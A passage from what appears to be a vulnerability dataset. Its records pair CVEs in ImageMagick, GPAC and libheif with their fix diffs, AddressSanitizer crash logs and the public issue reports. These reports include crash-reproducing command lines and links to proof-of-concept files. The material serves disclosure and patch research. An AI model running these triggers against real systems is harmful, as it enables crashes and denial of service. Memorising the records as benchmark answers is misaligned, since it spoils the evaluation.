@@ -3636,6 +3640,8 @@ static Image *ReadDCMImage(const ImageInfo *image_info,ExceptionInfo *exception)
break;
colors=(size_t) (length/2);
datum=(int) colors;
+ if (bluemap != (int *) NULL)
+ bluemap=(int *) RelinquishMagickMemory(bluemap);
bluemap=(int *) AcquireQuantumMemory((size_t) colors,
sizeof(*bluemap));
if (bluemap == (int *) NULL)
| https://github.com/ImageMagick/ImageMagick/issues/964 | ==62826==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 20 byte(s) in 1 object(s) allocated from:
#0 0x4bd753 in __interceptor_malloc /home/brian/final/llvm.src/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:67:3
#1 0x537d1d in AcquireMagickMemory (/imagemagick.latest/utilities/magick+0x537d1d)
#2 0x537dcd in AcquireQuantumMemory (/imagemagick.latest/utilities/magick+0x537dcd)
#3 0x6c91c2 in ReadDCMImage (/imagemagick.latest/utilities/magick+0x6c91c2)
#4 0xaf0948 in ReadImage (/imagemagick.latest/utilities/magick+0xaf0948)
#5 0xaf4ff4 in ReadImages (/imagemagick.latest/utilities/magick+0xaf4ff4)
#6 0xe61486 in ConvertImageCommand (/imagemagick.latest/utilities/magick+0xe61486)
#7 0xf41f40 in MagickCommandGenesis (/imagemagick.latest/utilities/magick+0xf41f40)
#8 0x4e8af9 in MagickMain (/imagemagick.latest/utilities/magick+0x4e8af9)
#9 0x4e8401 in main (/imagemagick.latest/utilities/magick+0x4e8401)
#10 0x7f09662ab82f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
==63144==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 52 byte(s) in 1 object(s) allocated from:
#0 0x4bd753 in __interceptor_malloc /home/brian/final/llvm.src/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:67:3
#1 0x537d1d in AcquireMagickMemory (/imagemagick.latest/utilities/magick+0x537d1d)
#2 0x537dcd in AcquireQuantumMemory (/imagemagick.latest/utilities/magick+0x537dcd)
#3 0x6c8a80 in ReadDCMImage (/imagemagick.latest/utilities/magick+0x6c8a80)
#4 0xaf0948 in ReadImage (/imagemagick.latest/utilities/magick+0xaf0948)
#5 0xaf4ff4 in ReadImages (/imagemagick.latest/utilities/magick+0xaf4ff4)
#6 0xe61486 in ConvertImageCommand /imagemagick.latest/utilities/magick+0xe61486)
#7 0xf41f40 in MagickCommandGenesis (/imagemagick.latest/utilities/magick+0xf41f40)
#8 0x4e8af9 in MagickMain (/imagemagick.latest/utilities/magick+0x4e8af9)
#9 0x4e8401 in main (/imagemagick.latest/utilities/magick+0x4e8401)
#10 0x7f8ea250982f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
SUMMARY: AddressSanitizer: 52 byte(s) leaked in 1 allocation(s).
==63151==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 196 byte(s) in 1 object(s) allocated from:
#0 0x4bd753 in __interceptor_malloc /home/brian/final/llvm.src/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:67:3
#1 0x537d1d in AcquireMagickMemory (/imagemagick.latest/utilities/magick+0x537d1d)
#2 0x537dcd in AcquireQuantumMemory (/imagemagick.latest/utilities/magick+0x537dcd)
#3 0x6c9904 in ReadDCMImage (/imagemagick.latest/utilities/magick+0x6c9904)
#4 0xaf0948 in ReadImage (/imagemagick.latest/utilities/magick+0xaf0948)
#5 0xaf4ff4 in ReadImages (/imagemagick.latest/utilities/magick+0xaf4ff4)
#6 0xe61486 in ConvertImageCommand (/imagemagick.latest/utilities/magick+0xe61486)
#7 0xf41f40 in MagickCommandGenesis (/imagemagick.latest/utilities/magick+0xf41f40)
#8 0x4e8af9 in MagickMain (/imagemagick.latest/utilities/magick+0x4e8af9)
#9 0x4e8401 in main (/imagemagick.latest/utilities/magick+0x4e8401)
#10 0x7fb320bdc82f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
SUMMARY: AddressSanitizer: 196 byte(s) leaked in 1 allocation(s). | === https://github.com/ImageMagick/ImageMagick/issues/964 ===
Title: coders/dcm.c Memory Leak
---
Body:
### System Configuration
- ImageMagick version: ImageMagick 7.0.7-23
- Environment (Operating system, version and so on): Ubuntu 14.04 64bit
- Additional information: compilation with asan
### Description
https://github.com/ImageMagick/ImageMagick/blob/23246df8dfdebe0002bf9abfa0a5490238300ad9/coders/dcm.c#L3583
https://github.com/ImageMagick/ImageMagick/blob/23246df8dfdebe0002bf9abfa0a5490238300ad9/coders/dcm.c#L3611
https://github.com/ImageMagick/ImageMagick/blob/23246df8dfdebe0002bf9abfa0a5490238300ad9/coders/dcm.c#L3639
Each redmap, greenmap, and bluemap can be overwritten by a new pointer, so it loses previous pointer, which leads to memory leak. I guess we should check if the each XXXmap variable is already allocated or not.
```
$ ./magick convert ~/leak1.dcm ./out.png
convert: UnableToOpenConfigureFile `magic.xml' @ warning/configure.c/GetConfigureOptions/714.
convert: InsufficientImageDataInFile `/home/skid/leak1.dcm' @ error/dcm.c/ReadDCMImage/3280.
convert: NoImagesDefined `./out.png' @ error/convert.c/ConvertImageCommand/3275.
=================================================================
==62826==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 20 byte(s) in 1 object(s) allocated from:
#0 0x4bd753 in __interceptor_malloc /home/brian/final/llvm.src/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:67:3
#1 0x537d1d in AcquireMagickMemory (/imagemagick.latest/utilities/magick+0x537d1d)
#2 0x537dcd in AcquireQuantumMemory (/imagemagick.latest/utilities/magick+0x537dcd)
#3 0x6c91c2 in ReadDCMImage (/imagemagick.latest/utilities/magick+0x6c91c2)
#4 0xaf0948 in ReadImage (/imagemagick.latest/utilities/magick+0xaf0948)
#5 0xaf4ff4 in ReadImages (/imagemagick.latest/utilities/magick+0xaf4ff4)
#6 0xe61486 in ConvertImageCommand (/imagemagick.latest/utilities/magick+0xe61486)
#7 0xf41f40 in MagickCommandGenesis (/imagemagick.latest/utilities/magick+0xf41f40)
#8 0x4e8af9 in MagickMain (/imagemagick.latest/utilities/magick+0x4e8af9)
#9 0x4e8401 in main (/imagemagick.latest/utilities/magick+0x4e8401)
#10 0x7f09662ab82f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
```
```
$ ./magick convert ~/leak2.dcm ./a.png
convert: UnableToOpenConfigureFile `magic.xml' @ warning/configure.c/GetConfigureOptions/714.
convert: ImproperImageHeader `/home/skid/leak2.dcm' @ error/dcm.c/ReadDCMImage/3151.
convert: NoImagesDefined `./a.png' @ error/convert.c/ConvertImageCommand/3275.
=================================================================
==63144==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 52 byte(s) in 1 object(s) allocated from:
#0 0x4bd753 in __interceptor_malloc /home/brian/final/llvm.src/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:67:3
#1 0x537d1d in AcquireMagickMemory (/imagemagick.latest/utilities/magick+0x537d1d)
#2 0x537dcd in AcquireQuantumMemory (/imagemagick.latest/utilities/magick+0x537dcd)
#3 0x6c8a80 in ReadDCMImage (/imagemagick.latest/utilities/magick+0x6c8a80)
#4 0xaf0948 in ReadImage (/imagemagick.latest/utilities/magick+0xaf0948)
#5 0xaf4ff4 in ReadImages (/imagemagick.latest/utilities/magick+0xaf4ff4)
#6 0xe61486 in ConvertImageCommand /imagemagick.latest/utilities/magick+0xe61486)
#7 0xf41f40 in MagickCommandGenesis (/imagemagick.latest/utilities/magick+0xf41f40)
#8 0x4e8af9 in MagickMain (/imagemagick.latest/utilities/magick+0x4e8af9)
#9 0x4e8401 in main (/imagemagick.latest/utilities/magick+0x4e8401)
#10 0x7f8ea250982f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
SUMMARY: AddressSanitizer: 52 byte(s) leaked in 1 allocation(s).
```
```
$ ./magick convert ~/leak3.dcm ./a.png
convert: UnableToOpenConfigureFile `magic.xml' @ warning/configure.c/GetConfigureOptions/714.
convert: InsufficientImageDataInFile `/home/skid/leak3.dcm' @ error/dcm.c/ReadDCMImage/3280.
convert: NoImagesDefined `./a.png' @ error/convert.c/ConvertImageCommand/3275.
=================================================================
==63151==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 196 byte(s) in 1 object(s) allocated from:
#0 0x4bd753 in __interceptor_malloc /home/brian/final/llvm.src/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:67:3
#1 0x537d1d in AcquireMagickMemory (/imagemagick.latest/utilities/magick+0x537d1d)
#2 0x537dcd in AcquireQuantumMemory (/imagemagick.latest/utilities/magick+0x537dcd)
#3 0x6c9904 in ReadDCMImage (/imagemagick.latest/utilities/magick+0x6c9904)
#4 0xaf0948 in ReadImage (/imagemagick.latest/utilities/magick+0xaf0948)
#5 0xaf4ff4 in ReadImages (/imagemagick.latest/utilities/magick+0xaf4ff4)
#6 0xe61486 in ConvertImageCommand (/imagemagick.latest/utilities/magick+0xe61486)
#7 0xf41f40 in MagickCommandGenesis (/imagemagick.latest/utilities/magick+0xf41f40)
#8 0x4e8af9 in MagickMain (/imagemagick.latest/utilities/magick+0x4e8af9)
#9 0x4e8401 in main (/imagemagick.latest/utilities/magick+0x4e8401)
#10 0x7fb320bdc82f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
SUMMARY: AddressSanitizer: 196 byte(s) leaked in 1 allocation(s).
```
Crash File : [crashes.zip](https://github.com/ImageMagick/ImageMagick/files/1676368/crashes.zip)
Credit : Kyeongseok Yang & Choongwoo Han, Naver Security Team
---
Comment #1 by dlemstra:
Thanks for the problem report. We can reproduce it and will have a patch to fix it in GIT master branch @ https://github.com/ImageMagick/ImageMagick later today. The patch will be available in the beta releases of ImageMagick @ http://www.imagemagick.org/download/beta/ by sometime tomorrow.
---
Comment #2 by nohmask:
This was assigned CVE-2018-6405. | https://nvd.nist.gov/vuln/detail/CVE-2018-6405 | |
imagemagick.cve-2019-13303 | ImageMagick 7.0.8-50 Q16 has a heap-based buffer over-read in MagickCore/composite.c in CompositeImage. | https://github.com/ImageMagick/ImageMagick/issues/1603 | https://github.com/ImageMagick/ImageMagick/commit/d29148fae06c01ef215940e084cf41853c117bab, https://github.com/ImageMagick/ImageMagick/issues/1603 | CWE-125 | ImageMagick/ImageMagick | d29148fae06c01ef215940e084cf41853c117bab~1 | diff --git a/MagickCore/composite.c b/MagickCore/composite.c
index 78d6dff9217..99e91d14704 100644
--- a/MagickCore/composite.c
+++ b/MagickCore/composite.c
@@ -654,18 +654,19 @@ MagickExport MagickBooleanType CompositeImage(Image *image,
q+=GetPixelChannels(image);
continue;
}
- for (i=0; i < (ssize_t) GetPixelChannels(image); i++)
+ for (i=0; i < (ssize_t) GetPixelChannels(source_image); i++)
{
- PixelChannel channel = GetPixelChannelChannel(image,i);
- PixelTrait traits = GetPixelChannelTraits(image,channel);
- PixelTrait source_traits=GetPixelChannelTraits(source_image,
+ PixelChannel channel = GetPixelChannelChannel(source_image,i);
+ PixelTrait source_traits = GetPixelChannelTraits(source_image,
channel);
- if (traits == UndefinedPixelTrait)
+ PixelTrait traits = GetPixelChannelTraits(image,channel);
+ if (source_traits == UndefinedPixelTrait)
continue;
- if (source_traits != UndefinedPixelTrait)
+ if (traits != UndefinedPixelTrait)
SetPixelChannel(image,channel,p[i],q);
- else if (channel == AlphaPixelChannel)
- SetPixelChannel(image,channel,OpaqueAlpha,q);
+ else
+ if (channel == AlphaPixelChannel)
+ SetPixelChannel(image,channel,OpaqueAlpha,q);
}
p+=GetPixelChannels(source_image);
q+=GetPixelChannels(image);
| https://github.com/ImageMagick/ImageMagick/issues/1603 | ==5479==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x626000008900 at pc 0x7f9c528f0e7d bp 0x7ffd8cc41710 sp 0x7ffd8cc41708
READ of size 4 at 0x626000008900 thread T0
#0 0x7f9c528f0e7c in CompositeImage MagickCore/composite.c:666:45
#1 0x7f9c52b23aa0 in CompareImagesLayers MagickCore/layer.c:792:10
#2 0x7f9c522d035c in CLIListOperatorImages MagickWand/operation.c:4199:26
#3 0x7f9c522d934e in CLIOption MagickWand/operation.c:5276:14
#4 0x7f9c5211aa99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7
#5 0x7f9c5211bd0a in MagickImageCommand MagickWand/magick-cli.c:796:5
#6 0x7f9c52165ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14
#7 0x526f95 in MagickMain utilities/magick.c:149:10
#8 0x5268e1 in main utilities/magick.c:180:10
#9 0x7f9c4cbdcb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#10 0x41b069 in _start (install/bin/magick+0x41b069)
0x626000008900 is located 0 bytes to the right of 10240-byte region [0x626000006100,0x626000008900)
allocated by thread T0 here:
#0 0x4e6200 in __interceptor_posix_memalign (install/bin/magick+0x4e6200)
#1 0x7f9c52b54f66 in AcquireAlignedMemory MagickCore/memory.c:265:7
#2 0x7f9c528abd5c in AcquireCacheNexusPixels MagickCore/cache.c:4968:37
#3 0x7f9c528991c4 in SetPixelCacheNexusPixels MagickCore/cache.c:5076:12
#4 0x7f9c52890b05 in GetVirtualPixelCacheNexus MagickCore/cache.c:2751:10
#5 0x7f9c528aef36 in GetCacheViewVirtualPixels MagickCore/cache-view.c:664:10
#6 0x7f9c528f0bae in CompositeImage MagickCore/composite.c:637:11
#7 0x7f9c52b23aa0 in CompareImagesLayers MagickCore/layer.c:792:10
#8 0x7f9c522d035c in CLIListOperatorImages MagickWand/operation.c:4199:26
#9 0x7f9c522d934e in CLIOption MagickWand/operation.c:5276:14
#10 0x7f9c5211aa99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7
#11 0x7f9c5211bd0a in MagickImageCommand MagickWand/magick-cli.c:796:5
#12 0x7f9c52165ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14
#13 0x526f95 in MagickMain utilities/magick.c:149:10
#14 0x5268e1 in main utilities/magick.c:180:10
#15 0x7f9c4cbdcb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
SUMMARY: AddressSanitizer: heap-buffer-overflow MagickCore/composite.c:666:45 in CompositeImage | === https://github.com/ImageMagick/ImageMagick/issues/1603 ===
Title: heap-buffer-overflow in MagickCore/composite.c:666:45 in CompositeImage
---
Body:
### Prerequisites
- [x] I have written a descriptive issue title
- [x] I have verified that I am using the latest version of ImageMagick
- [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported
### Description
<!-- A description of the bug or feature -->
There's a heap-buffer-overflow in MagickCore/composite.c:666:45 in CompositeImage.
I compiled ImageMagick with --disable-openmp option.
### Steps to Reproduce
<!-- List of steps, sample code, failing test or link to a project that reproduces the behavior.
Make sure you place a stack trace inside a code (```) block to avoid linking unrelated issues -->
run_cmd:
`magick -seed 0 -sampling-factor 3.307x3.198 "(" magick:granite +repage ")" "(" magick:rose +repage ")" "(" magick:rose +repage ")" -encoding AdobeStandard -extract 285x52^-70-70 -region 75x310-64-51 -evaluate-sequence Min -layers compare-overlay tmp`
and run this cmd:
`magick -seed 0 "(" magick:logo -region 306%-74-69 -lat 886 ")" "(" magick:netscape -level 64 ")" "(" magick:granite -opaque rgb"("12,57,57")" -modulate 94,59,3 -frame 4%-82+23 ")" -comment "B>%C%o" -style Any -layers compare-any tmp`
Here's ASAN result.
```
==5479==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x626000008900 at pc 0x7f9c528f0e7d bp 0x7ffd8cc41710 sp 0x7ffd8cc41708
READ of size 4 at 0x626000008900 thread T0
#0 0x7f9c528f0e7c in CompositeImage MagickCore/composite.c:666:45
#1 0x7f9c52b23aa0 in CompareImagesLayers MagickCore/layer.c:792:10
#2 0x7f9c522d035c in CLIListOperatorImages MagickWand/operation.c:4199:26
#3 0x7f9c522d934e in CLIOption MagickWand/operation.c:5276:14
#4 0x7f9c5211aa99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7
#5 0x7f9c5211bd0a in MagickImageCommand MagickWand/magick-cli.c:796:5
#6 0x7f9c52165ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14
#7 0x526f95 in MagickMain utilities/magick.c:149:10
#8 0x5268e1 in main utilities/magick.c:180:10
#9 0x7f9c4cbdcb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#10 0x41b069 in _start (install/bin/magick+0x41b069)
0x626000008900 is located 0 bytes to the right of 10240-byte region [0x626000006100,0x626000008900)
allocated by thread T0 here:
#0 0x4e6200 in __interceptor_posix_memalign (install/bin/magick+0x4e6200)
#1 0x7f9c52b54f66 in AcquireAlignedMemory MagickCore/memory.c:265:7
#2 0x7f9c528abd5c in AcquireCacheNexusPixels MagickCore/cache.c:4968:37
#3 0x7f9c528991c4 in SetPixelCacheNexusPixels MagickCore/cache.c:5076:12
#4 0x7f9c52890b05 in GetVirtualPixelCacheNexus MagickCore/cache.c:2751:10
#5 0x7f9c528aef36 in GetCacheViewVirtualPixels MagickCore/cache-view.c:664:10
#6 0x7f9c528f0bae in CompositeImage MagickCore/composite.c:637:11
#7 0x7f9c52b23aa0 in CompareImagesLayers MagickCore/layer.c:792:10
#8 0x7f9c522d035c in CLIListOperatorImages MagickWand/operation.c:4199:26
#9 0x7f9c522d934e in CLIOption MagickWand/operation.c:5276:14
#10 0x7f9c5211aa99 in ProcessCommandOptions MagickWand/magick-cli.c:477:7
#11 0x7f9c5211bd0a in MagickImageCommand MagickWand/magick-cli.c:796:5
#12 0x7f9c52165ba1 in MagickCommandGenesis MagickWand/mogrify.c:185:14
#13 0x526f95 in MagickMain utilities/magick.c:149:10
#14 0x5268e1 in main utilities/magick.c:180:10
#15 0x7f9c4cbdcb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
SUMMARY: AddressSanitizer: heap-buffer-overflow MagickCore/composite.c:666:45 in CompositeImage
```
### System Configuration
<!-- Tell us about the environment where you are experiencing the bug -->
- ImageMagick version:
Version: ImageMagick 7.0.8-50 Q16 x86_64 2019-06-18 https://imagemagick.org
- Environment (Operating system, version and so on):
Description: Ubuntu 18.04.1 LTS
Release: 18.04
Codename: bionic
- Additional information:
CC=clang-7 CXX=clang++-7 ./configure --disable-openmp
<!-- Thanks for reporting the issue to ImageMagick! -->
---
Comment #1 by urban-warrior:
Thanks for the problem report. We can reproduce it and will have a patch to fix it in GIT master branch @ https://github.com/ImageMagick/ImageMagick later today. The patch will be available in the beta releases of ImageMagick @ http://www.imagemagick.org/download/beta/ by sometime tomorrow.
---
Comment #2 by nohmask:
This was assigned CVE-2019-13303. | https://nvd.nist.gov/vuln/detail/CVE-2019-13303 | |
gpac.cve-2023-46928 | GPAC 2.3-DEV-rev605-gfc9e29089-master contains a SEGV in gpac/MP4Box in gf_media_change_pl /afltest/gpac/src/media_tools/isom_tools.c:3293:42. | https://github.com/gpac/gpac/commit/0753bf6d867343a80a044bf47a27d0b7accc8bf1 | CWE-787 | gpac/gpac | 0753bf6d867343a80a044bf47a27d0b7accc8bf1~1 | diff --git a/src/media_tools/isom_tools.c b/src/media_tools/isom_tools.c
index 21f8905cf8..a41e51a0d5 100644
--- a/src/media_tools/isom_tools.c
+++ b/src/media_tools/isom_tools.c
@@ -635,7 +635,7 @@ GF_Err gf_media_make_isma(GF_ISOFile *mp4file, Bool keepESIDs, Bool keepImage, B
_esd = gf_odf_desc_esd_new(SLPredef_MP4);
if (!_esd) return GF_OUT_OF_MEM;
-
+
_esd->decoderConfig->bufferSizeDB = 20;
_esd->decoderConfig->objectTypeIndication = GF_CODECID_BIFS_V2;
_esd->decoderConfig->streamType = GF_STREAM_SCENE;
@@ -3289,6 +3289,10 @@ GF_Err gf_media_change_pl(GF_ISOFile *file, u32 track, u32 profile, u32 compat,
}
avcc = gf_isom_avc_config_get(file, track, 1);
+
+ if (!avcc)
+ return GF_NON_COMPLIANT_BITSTREAM;
+
if (level) avcc->AVCLevelIndication = level;
if (compat) avcc->profile_compatibility = compat;
if (profile) avcc->AVCProfileIndication = profile;
| https://github.com/gpac/gpac/issues/2661 | AddressSanitizer:DEADLYSIGNAL
=================================================================
==3037861==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000002 (pc 0x7ffff6798224 bp 0x00000000000f sp 0x7ffffffec1c0 T0)
==3037861==The signal is caused by a WRITE memory access.
==3037861==Hint: address points to the zero page.
#0 0x7ffff6798224 in gf_media_change_pl /afltest/gpac/src/media_tools/isom_tools.c:3293:42
#1 0x54edae in import_file /afltest/gpac/applications/mp4box/fileimport.c:1767:8
#2 0x4f7d1e in do_add_cat /afltest/gpac/applications/mp4box/mp4box.c
#3 0x4f7d1e in mp4box_main /afltest/gpac/applications/mp4box/mp4box.c:6196:13
#4 0x7ffff58cc082 in __libc_start_main /build/glibc-BHL3KM/glibc-2.31/csu/../csu/libc-start.c:308:16
#5 0x42adad in _start (/afltest/gpac/bin/gcc/MP4Box+0x42adad)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /afltest/gpac/src/media_tools/isom_tools.c:3293:42 in gf_media_change_pl
==3037861==ABORTING | === https://github.com/gpac/gpac/issues/2661 ===
Title: SEGV in gpac/MP4Box in gf_media_change_pl /afltest/gpac/src/media_tools/isom_tools.c:3293:42
---
Body:
# SEGV in MP4Box
### Description
SEGV in gpac/MP4Box.
#0 0x7ffff6798224 in gf_media_change_pl /afltest/gpac/src/media_tools/isom_tools.c:3293:42
### Version
```shell
MP4Box - GPAC version 2.3-DEV-rev605-gfc9e29089-master
(c) 2000-2023 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io
Please cite our work in your research:
GPAC Filters: https://doi.org/10.1145/3339825.3394929
GPAC: https://doi.org/10.1145/1291233.1291452
GPAC Configuration:
Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SSL GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_HAS_FFMPEG GPAC_HAS_VORBIS GPAC_HAS_LINUX_DVB
```
### ASAN Log
./MP4Box -add self:svcmode=splitbase:negctts:compat=15 poc3gpac
```shell
AddressSanitizer:DEADLYSIGNAL
=================================================================
==3037861==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000002 (pc 0x7ffff6798224 bp 0x00000000000f sp 0x7ffffffec1c0 T0)
==3037861==The signal is caused by a WRITE memory access.
==3037861==Hint: address points to the zero page.
#0 0x7ffff6798224 in gf_media_change_pl /afltest/gpac/src/media_tools/isom_tools.c:3293:42
#1 0x54edae in import_file /afltest/gpac/applications/mp4box/fileimport.c:1767:8
#2 0x4f7d1e in do_add_cat /afltest/gpac/applications/mp4box/mp4box.c
#3 0x4f7d1e in mp4box_main /afltest/gpac/applications/mp4box/mp4box.c:6196:13
#4 0x7ffff58cc082 in __libc_start_main /build/glibc-BHL3KM/glibc-2.31/csu/../csu/libc-start.c:308:16
#5 0x42adad in _start (/afltest/gpac/bin/gcc/MP4Box+0x42adad)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /afltest/gpac/src/media_tools/isom_tools.c:3293:42 in gf_media_change_pl
==3037861==ABORTING
```
### Reproduction
```shell
git clone https://github.com/gpac/gpac.git
cd gpac
./configure --enable-sanitizer
make -j24
./bin/gcc/MP4Box -add self:svcmode=splitbase:negctts:compat=15 poc3gpac
```
### PoC
poc3gpac: https://github.com/Frank-Z7/z-vulnerabilitys/blob/main/poc3gpac
### **Impact**
This vulnerability is capable of causing crashes.
### Reference
https://github.com/gpac/gpac
### Environment
```
ubuntu:20.04
gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)
clang version 10.0.0-4ubuntu1
afl-cc++4.09
```
### Credit
Zeng Yunxiang
Song Jiaxuan | https://nvd.nist.gov/vuln/detail/CVE-2023-46928 | ||
libheif.cve-2023-49460 | libheif v1.17.5 was discovered to contain a segmentation violation via the function UncompressedImageCodec::decode_uncompressed_image. | https://github.com/strukturag/libheif/issues/1046 | https://github.com/strukturag/libheif/commit/fd5b02aca3e29088bf0a1fc400bd661be4a6ed76 | strukturag/libheif | fd5b02aca3e29088bf0a1fc400bd661be4a6ed76~1 | diff --git a/libheif/uncompressed_image.cc b/libheif/uncompressed_image.cc
index c91e5dba4f..487d4cedbe 100644
--- a/libheif/uncompressed_image.cc
+++ b/libheif/uncompressed_image.cc
@@ -616,6 +616,13 @@ Error UncompressedImageCodec::decode_uncompressed_image(const std::shared_ptr<co
if (error) {
return error;
}
+
+ if (!(uncompressed_data.data())) {
+ return Error(heif_error_Invalid_input,
+ heif_suberror_Unspecified,
+ "Invalid data: uncompressed_data.data() is null for uncompressed codec");
+ }
+
uint32_t width = 0;
uint32_t height = 0;
bool found_ispe = false;
| https://github.com/strukturag/libheif/issues/1046 | ==89344==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f955d086aeb bp 0x7ffdd923ebb0 sp 0x7ffdd923e318 T0)
==89344==The signal is caused by a READ memory access.
==89344==Hint: address points to the zero page.
#0 0x7f955d086aea in memcpy (/lib/x86_64-linux-gnu/libc.so.6+0xbbaea)
#1 0x7f955d85f4de (/lib/x86_64-linux-gnu/libasan.so.4+0x7a4de)
#2 0x7f955d6f8495 in UncompressedImageCodec::decode_uncompressed_image(std::shared_ptr<HeifFile const> const&, unsigned int, std::shared_ptr<HeifPixelImage>&, unsigned int, unsigned int, std::vector<unsigned char, std::allocator<unsigned char> > const&) libheif/libheif/uncompressed_image.cc:758
#3 0x7f955d5b7304 in HeifContext::decode_image_planar(unsigned int, std::shared_ptr<HeifPixelImage>&, heif_colorspace, heif_decoding_options const&, bool) const libheif/libheif/context.cc:1452
#4 0x7f955d5b42a8 in HeifContext::decode_image_user(unsigned int, std::shared_ptr<HeifPixelImage>&, heif_colorspace, heif_chroma, heif_decoding_options const&) const libheif/libheif/context.cc:1248
#5 0x7f955d5771f4 in heif_decode_image libheif/libheif/heif.cc:1044
#6 0x55e9351aca11 in main libheif/examples/heif_convert.cc:484
#7 0x7f955cfef082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082)
#8 0x55e9351a7add in _start (libheif/build/examples/heif-convert+0xbadd) | === https://github.com/strukturag/libheif/issues/1046 ===
Title: AddressSanitizer: SEGV in `decode_uncompressed_image`
---
Body:
### Description
AddressSanitizer: SEGV in `decode_uncompressed_image`
### Version
```
commit: 64ece913266609789f5dc70fe7de9eb759badd7f
heif-convert libheif version: 1.17.5
-------------------------------------------
Usage: heif-convert [options] <input-image> [output-image]
The program determines the output file format from the output filename suffix.
These suffixes are recognized: jpg, jpeg, png, y4m. If no output filename is specified, 'jpg' is used.
Options:
-h, --help show help
-v, --version show version
-q, --quality quality (for JPEG output)
-o, --output FILENAME write output to FILENAME (optional)
-d, --decoder ID use a specific decoder (see --list-decoders)
--with-aux also write auxiliary images (e.g. depth images)
--with-xmp write XMP metadata to file (output filename with .xmp suffix)
--with-exif write EXIF metadata to file (output filename with .exif suffix)
--skip-exif-offset skip EXIF metadata offset bytes
--no-colons replace ':' characters in auxiliary image filenames with '_'
--list-decoders list all available decoders (built-in and plugins)
--quiet do not output status messages to console
-C, --chroma-upsampling ALGO Force chroma upsampling algorithm (nn = nearest-neighbor / bilinear)
--png-compression-level # Set to integer between 0 (fastest) and 9 (best). Use -1 for default.
```
### Replay
```
cd libheif
mkdir build && cd build
CC="gcc -fsanitize=address" CXX="g++ -fsanitize=address" cmake -DCMAKE_BUILD_TYPE=Debug -DWITH_UNCOMPRESSED_CODEC=ON ..
make -j
./examples/heif-convert ./poc test.png
```
### ASAN
```
==89344==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f955d086aeb bp 0x7ffdd923ebb0 sp 0x7ffdd923e318 T0)
==89344==The signal is caused by a READ memory access.
==89344==Hint: address points to the zero page.
#0 0x7f955d086aea in memcpy (/lib/x86_64-linux-gnu/libc.so.6+0xbbaea)
#1 0x7f955d85f4de (/lib/x86_64-linux-gnu/libasan.so.4+0x7a4de)
#2 0x7f955d6f8495 in UncompressedImageCodec::decode_uncompressed_image(std::shared_ptr<HeifFile const> const&, unsigned int, std::shared_ptr<HeifPixelImage>&, unsigned int, unsigned int, std::vector<unsigned char, std::allocator<unsigned char> > const&) libheif/libheif/uncompressed_image.cc:758
#3 0x7f955d5b7304 in HeifContext::decode_image_planar(unsigned int, std::shared_ptr<HeifPixelImage>&, heif_colorspace, heif_decoding_options const&, bool) const libheif/libheif/context.cc:1452
#4 0x7f955d5b42a8 in HeifContext::decode_image_user(unsigned int, std::shared_ptr<HeifPixelImage>&, heif_colorspace, heif_chroma, heif_decoding_options const&) const libheif/libheif/context.cc:1248
#5 0x7f955d5771f4 in heif_decode_image libheif/libheif/heif.cc:1044
#6 0x55e9351aca11 in main libheif/examples/heif_convert.cc:484
#7 0x7f955cfef082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082)
#8 0x55e9351a7add in _start (libheif/build/examples/heif-convert+0xbadd)
```
### POC
- [poc](https://github.com/fdu-sec/poc/raw/main/libheif/poc5)
### Environment
```
Description: Ubuntu 22.04.2 LTS
gcc (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0
```
### Credit
Yuchuan Meng ([Fudan University](https://secsys.fudan.edu.cn/))
---
Comment #1 by carnil:
This appears to be CVE-2023-49460
---
Comment #2 by farindk:
